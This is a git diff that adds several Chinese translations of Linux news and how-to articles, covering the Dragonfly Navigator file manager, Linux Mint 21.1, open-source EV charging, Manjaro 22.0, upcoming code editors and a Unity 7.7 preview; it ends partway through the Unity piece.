b/published/202212/20221218.1 ⭐️ Try this Python-based file manager on Linux.md new file mode 100644 index 0000000000..bdf9cf56a9 --- /dev/null +++ b/published/202212/20221218.1 ⭐️ Try this Python-based file manager on Linux.md @@ -0,0 +1,113 @@ +[#]: subject: "Try this Python-based file manager on Linux" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-dragonfly-navigator" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15396-1.html" + +在 Linux 上试试这个基于 Python 的文件管理器 +====== + +![][0] + +> Dragonfly Navigator 是用 Python 和 Qt 编写的通用文件管理器。 + +Dragonfly Navigator 是用 Python 和 Qt 编写的通用文件管理器。它易于安装和使用,并且是 Python 可以做什么的一个很好的例子。 + +Python 是一种流行的语言有几个原因,但我认为它的主要优势之一是它对初级程序员和有经验的编码人员同样有用。你可以从一门语言中获得一些令人兴奋的东西,从 [绘制基本几何形状][1] 到 [抓取网页][2] 再到编写僵尸启示录 [游戏][3],或者编写你每天都可以使用的桌面应用。这就是 Dragonfly Navigator:一个人人都可以使用的桌面程序。 + +### 安装 Dragonfly Navigator + +要安装 Dragonfly Navigator,首先从 [Git 仓库][4] 下载源代码。如果你使用的是 Debian Linux 或类似软件,请下载 `.deb` 文件。如果你使用的是 Fedora、CentOS、Mageia、OpenMandriva 或类似软件,请下载 `.tar.gz` 文件。 + +Dragonfly Navigator 只有很少的依赖。因为你不是通过包管理器安装它,所以由你来解决这些问题。它只有两个依赖,所以使用你的包管理器(`dnf` 或 `apt`)找到并安装它们: + +- PyQt5,也称为 `python-qt5` +- Python PIL,也称为 `pillow` + +### 启动 Dragonfly Navigator + +要启动 Dragonfly Navigator,请安装 `.deb` 文件(在基于 Debian 的系统上)或解压缩 `.tar.gz` 文件: + +``` +$ tar xvf dragonfly*gz +``` + +在基于 Debian 的系统上,Dragonfly Navigator 出现在你的应用菜单中。在其他系统上,你必须手动启动它,除非你 [手动安装][5]。 + +现在,我没有安装它,所以我手动启动它: + +``` +$ cd dragonfly +$ ./dragonfly +``` + +![Dragonfly Navigator is a two-panel file manager][6] + +### 双面板 + +Dragonfly Navigator 是一个双面板文件管理器,这意味着它总是向你显示两个目录。在启动时,这两个目录恰好是你的主目录。你可以在任一面板中浏览文件和文件夹。它们的功能完全相同,只有当你开始复制或移动文件时你“位于”哪个面板中才重要。 + +### 打开目录 + +要打开目录,请双击它。默认情况下,该目录在同一面板中打开。但是,如果你想使用双面板布局,请在双击时按住 `Ctrl` 键以在另一个面板中显示其内容。 + +### 打开文件 + +要打开文件,请双击或右键单击它。 + +是的,你可以右键单击文件将其打开。如果你习惯于右键单击调出上下文菜单,那么这需要一些时间来适应。不过,Dragonfly Navigator 中没有上下文菜单,你可能会惊讶地发现,当你将打开文件这一非常常见的操作减少到只需单击一次时,你会觉得自己节省了多少时间。现在可能看起来很傻,但相信我,你会逐渐珍惜它的。 + +### 快速预览 + +某些文件可用于快速预览,因此你不必在某个特定应用中打开它们。要预览文件,请将鼠标悬停在文件上,然后按键盘上的 `Alt` 键。预览出现在对面的面板中。 + +![The second panel of Dragonfly Navigator can be used as a preview pane.][7] + +### 复制和移动文件 + +要将文件从一个目录复制或移动到另一个目录(或从一个目录到另一个目录),有几个步骤。 + +- 在一个面板中,进入目标目录。这是你要将文件复制到的位置。 +- 在另一个面板中,选择要复制的文件。 +- 单击 Dragonfly Navigator 中间条中的 “复制Copy” 按钮。 + +要移动文件,请按照相同的步骤操作,但要单击 “移动Move” 按钮。 + +如果你不习惯双面板文件管理器,一开始会觉得很陌生。但是你仔细想想,在你常用的文件管理器中复制一个文件需要几个步骤(找到文件,打开另一个窗口,拖放等等)。做几次之后,它成为第二天性。 + +### 选择文件 + +通常,你单击一个文件或文件夹以使其成为你的活动选择。这可能与你当前的文件管理器没有什么不同,或者至少与你过去使用过的某些文件管理器没有什么不同。 + +要选择一个范围内的多个项目,请单击一个文件,然后按住 `Shift` 键并单击另一个文件。你单击的两个文件之间的所有项目也被选中。 + +要选择多个任意文件,请按住 `Ctrl` 键并单击要选择的文件。 + +### Qt 和 Python 的力量 + +Qt 工具包是一个强大的编程程序,Python 能够用它创建出色的应用。我在本文中只介绍了 Dragonfly Navigator 的基础知识,所以请下载它,阅读文档,点击并探索它,也许你会发现一个有趣的新文件管理器。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/linux-file-manager-dragonfly-navigator + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/17/10/python-101#turtle +[2]: https://opensource.com/article/20/5/web-scraping-python +[3]: https://opensource.com/downloads/python-gaming-ebook +[4]: https://github.com/suncore/dflynav/releases +[5]: https://opensource.com/article/18/1/how-install-apps-linux +[6]: https://opensource.com/sites/default/files/2022-10/dragonfly-navigator.webp +[7]: https://opensource.com/sites/default/files/2022-10/dragonfly-navigator-preview.webp +[0]: https://img.linux.net.cn/data/attachment/album/202212/30/105706fk81jdkd1jkh9xpc.jpg \ No newline at end of file diff --git a/published/202212/20221220.5 ⭐️⭐️ Linux Mint 21.1 Arrives with a Ton of Visual Changes and Improvements.md b/published/202212/20221220.5 ⭐️⭐️ Linux Mint 21.1 Arrives with a Ton of Visual Changes and Improvements.md new file mode 100644 index 0000000000..c9f1a84de3 --- /dev/null +++ b/published/202212/20221220.5 ⭐️⭐️ Linux Mint 21.1 Arrives with a Ton of Visual Changes and Improvements.md @@ -0,0 +1,156 @@ +[#]: subject: "Linux Mint 21.1 Arrives with a Ton of Visual Changes and Improvements" +[#]: via: "https://news.itsfoss.com/linux-mint-21-1-release/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15383-1.html" + +Linux Mint 21.1 发布:大量的视觉变化和改进 +====== + +> Linux Mint 21.1 带有一个新的默认主题和其他一些改进。 + +![][1] + +Linux Mint 21 已经收到了它的第一个更新,即 **Linux Mint 21.1 “Vera”**。 + +如果你想了解 Linux Mint 21 “Venessa”,我们的官方点评应该能让你尽快了解: + +> **[Linux Mint 21:最好的发行版变得更好了](https://itsfoss.com/linux-mint-21-review/)** + +这个版本与通常的小版本相似。它包括了对外观、感觉和功能的各种变化,这些变化可能看起来很细微,但会影响用户体验。 + +让我们来看看主要的亮点。我们关注的是 Linux Mint 的 Cinnamon 版。 + +### Linux Mint 21.1 Vera:有什么新内容? + +基于 **Ubuntu 22.04 LTS**,该版本的底层将继续使用 **Linux 5.15 LTS** 内核。 + +![][2] + +#### 👀 焕然一新的用户界面 + +当你第一次启动进入桌面时,你应该很快注意到光标的新外观。它默认采用了新的 Bibata 主题。 + +![][3] + +光标、图标主题列表增加了一些新的主题,如 Yaru、Breeze 和 GoogleDot,以及传统的 DMZ 主题。 + +![][4] + +除了传统的 Mint-X、Mint-Y 和 Mint-Legacy 主题外,用户还可以找到一组独特的应用图标主题,这包括 Papirus、Breeze、Numix 和 Yaru。 + +![][5] + +另一件你可能会注意到的有趣的事情,默认的强调色不再是传统的绿色,这是因为 **桌面主题现在换成了 Aqua**。强调色库提供了更多鲜艳的颜色,使桌面看起来更干净、更有吸引力。 + +对于那些希望恢复传统外观的人,你可以在主题中选择 “Mint-Y-Legacy”。 + +此外,以前在桌面上可见的 **电脑、主文件夹、网络和垃圾箱图标** 被默认删除,它们可以在文件管理器中访问。主文件夹的图标则显示在面板上。如果你想恢复以前的方式,你可以通过进入 系统首选项System Preferences 来恢复。 + +#### ✨ 增强的驱动器管理器 + +由于驱动器管理器在用户模式下运行,所以当你启动它时不再要求输入密码。 + +![][6] + +有专门的屏幕来显示离线连接和检测到 现场 USBLive USB 时的情况。你也应该发现挂载现场 USB 比以前更顺畅了。 + +![][7] + +对它也进行了一些修复。 + +Packagekit 现在可以清除已删除的驱动程序和软件包。这解决了一个众所周知的问题,即用户想要在不同版本的英伟达驱动之间进行切换。 + +此外,Debconf 也进行了修补,以解决启用安全启动时英伟达驱动程序的一个问题。 + +#### 👨‍💻 Flatpak 集成和软件管理器的改进 + +很高兴看到 软件管理器Software Manager更新管理器Update Manager 都支持 Flatpak 了。 + +安装和更新 Flatpak 应用程序的过程没有什么不同,应该是很容易的。 + +![][8] + +例如,软件管理器已被更新,以帮助区分用户正在查看的应用程序是哪个版本:Flatpak 版本还是系统版本。还有一个下拉框,用于在一个应用程序的系统版本和 Flatpak 版本之间切换。 + +卸载 Flatpak 应用程序和快捷方式不再需要密码了。在进行多项操作时也是如此。 + +#### 🔨 对 XApp 的改进 + +用户现在可以配置登录屏幕的光标大小和主题。以前,这些设置是全局设置。 + +另一方面,Warpinator 获得了更好的安全性,而 WebApp 管理器WebApp Manager 在编辑 WebApp 时具有额外的设置,包括私人浏览和导航栏。 + +#### ⭐ 新的 ISO 验证工具 + +在大多数情况下,人们想验证一个下载的 ISO 镜像的完整性。 + +因此,更简单方便的方法是,你可以通过右击 ISO 镜像,选择 “验证Verify”来完成。这就打开了 ISO 验证ISO Verification工具,你可以在那里填写必要的细节来进行验证。 + +![][9] + +值得注意的是,对于 Linux Mint 和 Ubuntu 的 ISO 镜像,SHA256sum 和 GPG 文件的 URL 是自动填写的。 + +#### 🎨 Cinnamon 5.6 桌面 + +Linux Mint 的旗舰桌面环境也有一些微小的视觉更新和变化。 + +在桌面的面板上,你会注意到主菜单和应用程序之间有一个细细的分隔线。像 Windows 一样,在最右边的角落里增加了一个新的角栏小程序,可配置,并支持创新的操作。 + +![][10] + +说到视觉效果,默认的文件管理器 Nemo 已经经历了一些变化: + +- 当选择一个或多个项目时,只有名称保持高亮,而图标则没有。 +- 日期现在以等宽字体显示。 +- 路径栏也得到了一些改进。 + +你可以毫不费力地访问 显示设置Display Settings,因为它的快捷方式已被添加到桌面的上下文菜单中。 + +### 🛠️ 其他改进措施 + +其他两个桌面环境已经分别更新到 **MATE 1.26** 和 **XFCE 4.16**。 + +美术作品集也得到了扩展,包括几张很酷的壁纸。 + +虽然我们只介绍了这个版本的主要亮点,但你可以通过 [官方更新日志][11] 了解更多细节。 + +### 获得 Linux Mint 21.1 + +现有的 Mint 用户应该得到通知,可以通过更新管理器轻松升级到 Mint 21.1。 + +那些想要重新安装 Linux Mint 的人可以从 [官方下载页面][12] 获得 ISO。 + +> **[Linux Mint 21.1][12]** + +如果你的网络较慢或不稳定,你也可以 [使用 Torrent 链接][13]。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-mint-21-1-release/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/linux-mint-21-1-release.png +[2]: https://news.itsfoss.com/content/images/2022/12/Home.png +[3]: https://news.itsfoss.com/content/images/2022/12/bibata.png +[4]: https://news.itsfoss.com/content/images/2022/12/Themes.png +[5]: https://news.itsfoss.com/content/images/2022/12/linux-mint-new-look.png +[6]: https://news.itsfoss.com/content/images/2022/12/Drivemanager1.png +[7]: https://news.itsfoss.com/content/images/2022/12/DriverManager2.png +[8]: https://news.itsfoss.com/content/images/2022/12/Software_Manager.png +[9]: https://news.itsfoss.com/content/images/2022/12/ISOVerify.png +[10]: https://news.itsfoss.com/content/images/2022/12/Folder.png +[11]: https://www.linuxmint.com/rel_vera_cinnamon_whatsnew.php +[12]: https://www.linuxmint.com/download.php +[13]: https://linuxmint.com/torrents/ diff --git a/published/202212/20221221.3 ⭐️⭐️ Open source solutions for EV charging.md b/published/202212/20221221.3 ⭐️⭐️ Open source solutions for EV charging.md new file mode 100644 index 0000000000..aa952da127 --- /dev/null +++ b/published/202212/20221221.3 ⭐️⭐️ Open source solutions for EV charging.md @@ -0,0 +1,79 @@ +[#]: subject: "Open source solutions for EV charging" +[#]: via: "https://opensource.com/article/22/12/open-source-ev-charging" +[#]: author: "Joshua Pearce https://opensource.com/users/jmpearce" +[#]: collector: "lkxed" +[#]: translator: "duoluoxiaosheng" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15385-1.html" + +开源电动汽车充电解决方案 +====== + +> 利用太阳能、硬件和开源来建立你自己的电动车充电站。 + +![][0] + +也许你讨厌在寒冷或者酷热的时候加油,也许你关心环境问题。也许不断上涨的油价和通胀让你不得不考虑怎么更合理的安排开支。也许你只是认为电动汽车看起来很酷。不管什么原因,你都会因为即将拥有一辆电动汽车而感到激动,激动的不仅仅只有你。电动汽车的市场份额将在 [2040 年增长到 30%][1] 。[美国政府提供了一个简易的比较工具][2],用来展示维护一辆电动汽车的花费比维护一辆化石燃料汽车要少很多。尽管如此,电动汽车的充电费用仍然会给你的钱包带来沉重的负担。 + +通常,解决成本问题的最优雅的方法之一是应用开源原则来加速创新。幸运的是,在电动汽车充电领域已经找到了一种获得低成本电力和充电桩的方法。 + +为了控制电动汽车充电的成本,首先,你需要低成本的电力。在过去,这意味着从石油倒退到煤炭。如今,能将太阳能直接转化为电能的 [光伏发电][3]solar photovolataic(PV) 设备提供的电力通常被认为成本是最低的。煤炭公司正在因为无法继续与清洁的太阳能竞争而破产。这也是 [太阳能发电在世界各地都爆炸性增长][4] 的原因。许多房主把 [太阳能电池板放到他们的房顶][5] 或者后院的支架上,以满足他们家庭的电力需求。但是,如果你的屋顶面积有限或者后院很小,你怎样才能使用太能能给你的电动汽车充电呢? + +### 开源光伏停车篷 + +大型企业正在采取的一个方法是在他们的停车场上建造一个光伏顶篷。如果你自己想做一个,一个新的 [研究][6] 提供了三种新型开源光伏顶篷系统全面的机械和经济方面的分析。 + +- 使用纯木材的单一停车位横跨系统 +- 使用木材和铝的双停车位横跨系统 +- 使用木材和铝的悬臂系统 + +这些设计是以 5 * 6 个停车位的样式呈现的,但是这三个系统都可以扩展到任何需要的停车位数量。包括一个 6 千瓦的家用单车充电系统(如下图)。所有的支架都有 25 年的预期寿命来配合标准的光伏保修。 + +![Image of a single car PV canopy.][7] + +这些开源光伏顶篷都是为了抵御加拿大残酷的冬天而设计的,它们遵循加拿大严格的建筑规范。所以,不管你住在其他任何地方,这些系统的设计都仍然可以为你工作。顶篷的 [完整设计][8] 以及材料清单,包括基本说明都有提供。它们以开源许可的方式发布,保证任何人都可以依照关于 DIY 太阳能收集器的免费书籍 《[拥抱太阳][9]To Catch the Sun》 制作它。 + +前面提到的 [研究][6] 结果显示,开源设计比专利产品的成本低很多。单跨系统可节省成本 82% 到 85%,双跨系统节省成本 43% 到 50%,悬臂系统节省 31% 到 40% 。 + +最重要的是,这些设计给你提供了足够多的能源(如果你只是正常通勤)来满足你的充电需求。在运行的第一年,光伏顶篷可以提供目前市场上效率最低的电动汽车充电所需电量的 157% 。 + +![Image of an OpenEVSE charging station.][10] + +### 开源电动汽车充电桩 + +减少电动车维护成本的另一个办法是安装一个开源的电动车充电桩。[OpenEVSE][11] 是一个基于 Arduino 的充电桩,由 [开源软件][12] 和硬件组成,可以以 DIY 的方式制作。它们体积小,重量轻,便于携带,你可以在家里或者旅途上使用它们。 + +OpenEVSE 为世界各地的许多电动车制造商提供充电站。你可以根据自己的需求调整它。OpenEVSE 已经相当成熟,支持许多先进的功能,包括可调电流,温度检测和实时功率显示。你可以购买预先组装好的硬件马上体验。如果你想体验更多的乐趣节省更多的钱,可以购买一套套件自己动手制作。 + +![Image of the OpenEVSE kit.][13] + +我希望未来可以看到更多关于电动汽车充电解决方案的设计。睁大眼睛,撸起袖子加油干,享受组装你的开源太阳能充电桩的乐趣。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/open-source-ev-charging + +作者:[Joshua Pearce][a] +选题:[lkxed][b] +译者:[duoluoxiaosheng](https://github.com/duoluoxiaosheng) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jmpearce +[b]: https://github.com/lkxed +[1]: https://about.bnef.com/electric-vehicle-outlook/ +[2]: https://fueleconomy.gov/feg/Find.do?action=sbsSelect +[3]: https://opensource.com/article/21/11/open-source-solar-power +[4]: https://www.alliedmarketresearch.com/photovoltaic-market +[5]: https://linux.cn/article-15374-1.html +[6]: https://doi.org/10.3390/technologies10060114 +[7]: https://opensource.com/sites/default/files/2022-12/Single%20car%20open%20source%20PV%20canopy.png +[8]: https://www.appropedia.org/Open-source_Photovoltaic_-_Electrical_Vehicle_Carport_Designs +[9]: https://tocatchthesun.com/ +[10]: https://opensource.com/sites/default/files/2022-12/OpenEVSE%20charging%20an%20electric%20car.png +[11]: https://openevse.com/index.html +[12]: https://github.com/OpenEVSE +[13]: https://opensource.com/sites/default/files/2022-12/OpenEVSE%20kit.png +[0]: https://img.linux.net.cn/data/attachment/album/202212/27/171530ayuyongagafyxp5o.jpg \ No newline at end of file diff --git a/published/202212/20221226.1 ⭐️ Manjaro Linux 22.0 Releases Featuring Xfce 4.18 and Linux Kernel 6.1.md b/published/202212/20221226.1 ⭐️ Manjaro Linux 22.0 Releases Featuring Xfce 4.18 and Linux Kernel 6.1.md new file mode 100644 index 0000000000..d94f5b884e --- /dev/null +++ b/published/202212/20221226.1 ⭐️ Manjaro Linux 22.0 Releases Featuring Xfce 4.18 and Linux Kernel 6.1.md @@ -0,0 +1,102 @@ +[#]: subject: "Manjaro Linux 22.0 Releases Featuring Xfce 4.18 and Linux Kernel 6.1" +[#]: via: "https://news.itsfoss.com/manjaro-22-0-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15391-1.html" + +Manjaro Linux 22.0 发布 +====== + +> Manjaro Linux 22.0 带着各种升级来了! + +![][1] + +Manjaro Linux 是一个基于 Arch Linux 的滚动发布发行版,专注于提供用户友好和无障碍体验。 + +自 6 月发布 “[Ruah][2]” 以来,Manjaro 的开发仍在继续,并为最新的版本铺平了道路,它被称为 “Sikaris”。 + +这是 2022 年最后的流行的发行版之一。让我们看看它提供了什么。 + +### Manjaro 22 “Sikaris” 有什么新内容? + +![][3] + +Sikaris 版本带来了许多改进,一些值得注意的包括: + +- 桌面环境的升级 +- Linux 内核 6.1 +- 动态墙纸 +- 各种用户体验的改进 + +#### 桌面环境的升级 + +这个版本对 Manjaro Linux 的三个不同版本进行了许多改进。让我带你看看这些改进。 + +**对于 Manjaro GNOME:** 它使用是的 GNOME 43,有一个重新设计的系统状态菜单,可以让你在常用的设置之间快速切换。 + +他们还更新了他们的 “布局切换器Layouts Switcher” 应用程序,包括各种改进和修复。 + +![][4] + +此外,你可以创建你的动态壁纸并使用 [Gradience][5] 来定制你的主题。 + +**对于 Manjaro KDE:** “Sikaris” 版本采用了最新的 Plasma 5.26 桌面环境,具有许多改进,如动画壁纸、新的小工具,以及 Plasma 大屏幕的改进。 + +![][6] + +还有一些其它的调整,允许壁纸根据系统的主题来改变。 + +此外,Dolphin 文件管理器现在有一个新的功能叫“选择模式Selection Mode”,可以让你选择多个文件或文件夹。 + +**对于 Manjaro Xfce:** 使用的是 Xfce 4.18,该版本在 Thunar 文件管理器中获得了新的文件高亮显示和递归搜索功能。 + +可能是第一个包括 [新发布的 Xfce 4.18][7] 的开箱即用发行版。 + +面板也被更新了,允许最大化的应用程序填满面板后面的区域,而且面板的长度现在是以像素而不是百分比计算的。 + +![][8] + +此外,“控制中心Control Center”现在将所有用于管理系统的桌面模块集中到一个易于使用的窗口。 + +这些功能应该会改善你的整体体验! 😃 + +#### Linux 内核 6.1 + +Manjaro 22 ”Sikaris“ 使用 [Linux 内核 6.1][9] 提供了各种增强功能。 + +这些包括对 Rust 的实验性支持,对英特尔即将推出的 Meteor Lake 芯片的初步支持,改进的 ARM SoC 支持,以及更多。 + +### 下载 Manjaro 22 + +Manjaro 22 “Sikaris” 可用于 X86_64 和 ARM 系统,前往官方 [下载页面][10] 获取。 + +> **[下载 Manjaro 22][10]** + +**对于现有的用户,** 你只需在命令行中运行 `sudo pacman -Syu` 就可以得到这个版本的 Manjaro Linux。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/manjaro-22-0-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/manjaro-22-0-release.png +[2]: https://news.itsfoss.com/manjaro-21-3-0-release/ +[3]: https://news.itsfoss.com/content/images/2022/12/Manjaro_Linux_KDE_2.png +[4]: https://news.itsfoss.com/content/images/2022/12/Manjaro_Linux_GNOME.png +[5]: https://github.com/GradienceTeam/Gradience +[6]: https://news.itsfoss.com/content/images/2022/12/Manjaro_Linux_KDE.png +[7]: https://news.itsfoss.com/xfce-4-18-release/ +[8]: https://news.itsfoss.com/content/images/2022/12/Manjaro_Linux_XFCE.png +[9]: https://news.itsfoss.com/linux-kernel-6-1-release/ +[10]: https://manjaro.org/download/ diff --git a/published/202212/20221227.0 ⭐️⭐️ 5 Upcoming Code Editors that May Challenge the Supremacy of Visual Studio Code.md b/published/202212/20221227.0 ⭐️⭐️ 5 Upcoming Code Editors that May Challenge the Supremacy of Visual Studio Code.md new file mode 100644 index 0000000000..9b925483b3 --- /dev/null +++ b/published/202212/20221227.0 ⭐️⭐️ 5 Upcoming Code Editors that May Challenge the Supremacy of Visual Studio Code.md @@ -0,0 +1,121 @@ +[#]: subject: "5 Upcoming Code Editors that May Challenge the Supremacy of Visual Studio Code" +[#]: via: "https://news.itsfoss.com/upcoming-code-editors/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15399-1.html" + +5 个即将推出的可能会挑战 VS Code 的代码编辑器 +====== + +> 这些有趣的代码编辑器可能会在 2023 年取代 VS Code! + +![5 Upcoming Code Editors that May Challenge the Supremacy of Visual Studio Code][1] + +嗯,2022 年即将结束。 + +我们推出了针对 Linux 发布的新的卓越代码编辑器,从 [Lite XL][2] 到 [Pulsar][3] 等。 + +因此,为了纪念这一点,我编制了这份即将推出的 Linux 代码编辑器列表,它们很有可能挑战 [VS Code][4] 的霸主地位。 + +让我带你了解它。 + +### 1、Pulsar + +![pulsar][5] + +[Pulsar][6] 是一个社区主导的开源代码编辑器,旨在替代著名的 Atom 代码编辑器。 + +它使用与 Atom 相同的代码库,有一个开源的后端(得益于逆向工程的工作),更新了依赖性。 + +他们有计划在不久的将来对其进行改进。 + +它可以从 [官方网站][7] 下载,但请记住,它还处于早期开发阶段。 + +### 2、Atom 社区版 + +![atom community][8] + +“[Atom 社区版][10]” 也是从现已停止维护的 Atom 编辑器的 [灰烬][9] 中重生的,它是一个旨在接管其前身的概念和想法的项目。 + +他们的目标是从提供最基本的特性开始,并使其与 [atom-ide-ui][11] 包中的可用功能相媲美。 + +它可能会有更多东西,但就目前的形式而言,我现在不建议新用户这样做。与 Pulsar 相比,他们的长期目标略有不同,这使它成为另一个值得一看的项目。 + +但是,到 2023 年,情况可能会有所不同。 + +尽管如此,那些喜欢冒险的人可以使用 [源代码][12] 来构建它。 + +### 3、Lapce + +![lapce][13] + +一个轻量级和快速的开源代码编辑器? + +这就是 [Lapce][14]! + +它是一个基于 Rust 的开源代码编辑器,专注于提供这样的体验。 + +我们在它处于 pre-alpha 阶段时对其进行了介绍,但在 2023 年它可能会引起注意。 + +### 4、Zed + +![zed breadcrumbs][15] + +[Zed][16] 是即将推出的代码编辑器,旨在挑战 VS Code 的统治地位。 + +它有许多功能,例如实时协作、极简界面、代码动作、命令面板等 [更多功能][17]。 + +事实上,Atom 的创始人 [Nathan Sobo][18] 是这一切的幕后推手,并将其称为 Atom 的“_精神继承者_”。 + +### 5、Lite XL + +![lite xl][19] + +[Lite XL][2] 是一个用 Lua 编写的开源代码编辑器,仅使用 3MB 的存储空间和大约 20MB 的内存。(与 VS Code 的 ~550 MB 相比)。 + +如果你正在寻找一个完全最小化的代码编辑器,它可能会合你的口味。 + +你现在可以从 [官方网站][20] 获取它,它会定期更新,预计 2023 年也会如此。 + +**好了,这是这份名单的结束,也是 2022 年的结束。** 😃 + +_我可能错过了一些代码编辑器,我知道你会在评论部分告诉我。随时分享你的想法!_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/upcoming-code-editors/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/upcoming-editors-which-may-challenge-vs-code.png +[2]: https://itsfoss.com/lite-xl/ +[3]: https://news.itsfoss.com/pulsar-editor/ +[4]: https://code.visualstudio.com +[5]: https://news.itsfoss.com/content/images/2022/12/Pulsar.png +[6]: https://pulsar-edit.dev +[7]: https://pulsar-edit.dev/download.html#releases +[8]: https://news.itsfoss.com/content/images/2022/12/Atom_Community.jpg +[9]: https://github.blog/2022-06-08-sunsetting-atom/ +[10]: https://atom-community.github.io +[11]: https://github.com/facebookarchive/atom-ide-ui +[12]: https://github.com/atom-community/atom +[13]: https://news.itsfoss.com/content/images/2022/12/Lapce.jpg +[14]: https://lapce.dev +[15]: https://news.itsfoss.com/content/images/2022/12/Zed_Early.jpg +[16]: https://zed.dev/ +[17]: https://zed.dev/features +[18]: https://twitter.com/nathansobo +[19]: https://news.itsfoss.com/content/images/2022/12/LiteXL.jpg +[20]: https://lite-xl.com/en/downloads +[21]: https://mastodon.social/@itsfoss +[22]: https://twitter.com/itsfoss2 diff --git a/published/202212/20221229.0 ⭐️ Be Delighted! Unity Teases Version 7.7 as the Sign of Active Development.md b/published/202212/20221229.0 ⭐️ Be Delighted! Unity Teases Version 7.7 as the Sign of Active Development.md new file mode 100644 index 0000000000..aa582149ce --- /dev/null +++ b/published/202212/20221229.0 ⭐️ Be Delighted! Unity Teases Version 7.7 as the Sign of Active Development.md @@ -0,0 +1,123 @@ +[#]: subject: "Be Delighted! Unity Teases Version 7.7 as the Sign of Active Development" +[#]: via: "https://news.itsfoss.com/unity-7-7-dev/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15398-1.html" + +Unity 正在积极开发,预告 7.7 版 +====== + +> Unity 7.7 版的更新计划为该桌面环境带来一些视觉上的改革。 + +![][1] + +Unity,经典的桌面环境,从 2010 年到 2017 年都是 Ubuntu 的一部分,将收到一个大的新版本。你可以期待它在 2023 年的某个时候发布,但目前还没有具体的发布日期。 + +但不是由 [Canonical][2] 发布。 + +**如果你不知道:** Unity 的开发由一位年轻的开发者 [Rudra Saraswat][3] 接手,他也是 [Ubuntu Unity][4] 衍生版的创造者,这是 Ubuntu 的一个官方特色版。 + +在最近的一篇 [博文][5] 中,Rudra 向我们揭示了 Unity 7.7 的一角和即将到来的各种改进。 + +让我带你看看这些。 + +### Unity 7.7 值得期待的地方 + +![unity 7.7 一窥][6] + +这次披露的内容有很多,其中包括: + +- 更新的欢迎应用程序 +- UWidgets +- 改进的仪表盘 +- 面板的调整 +- 增强的通知指示器 + +#### 更新的欢迎应用程序 + +![][7] + +一个新的欢迎应用程序将被引入 Unity,它基于 Ubuntu Flutter 社区开发的原型(用 [Flutter][8] 编写)。 + +这个应用程序将不只限于一个发行版,而是适用于 Unity 所支持的所有发行版。 + +#### UWidgets + +![][9] + +终于有了,Unity 桌面上的小部件?像 KDE 一样? + +好吧,在 Unity 中引入用 Python 编写的小部件,应该很简单就可以设置(只是复制几个文件的问题)。 + +屏幕截图展示了一堆小部件,如时钟、系统监视器、Spotify 的小部件等等。 + +这还不是全部,Rudra 还提到: + +> 我们将为 UWidgets 建立一个网页商店/仓库,在那里你可以提交你自己的小部件,或者下载并试用 Unity 7.7 上所有这些令人惊叹的小部件。 + +这应该会使用户更容易找到和下载小部件! + +#### 改进的仪表盘 + +![][10] + +仪表盘Dash也被刷新了,新的设计基于 Unity 7 的原始设计概念(在 Canonical 放弃它之前)。 + +按照截图,它应该不会占用大量的屏幕空间,而且还很有用。 + +#### 面板的调整 + +![][11] + +现在的面板比之前的版本略大且更精致。 + +#### 增强的通知指示器 + +![][12] + +这对 Unity 来说是一个巨大的可用性改进;用户现在终于可以利用一个适当的通知指示器了。 + +它将显示与你的应用程序、系统和更多相关的基本通知。 + +#### 其他变化 + +![][13] + +一些更有用的技术改进包括: + +- unity-control-center 的外壳 UI 得到了改进 +- 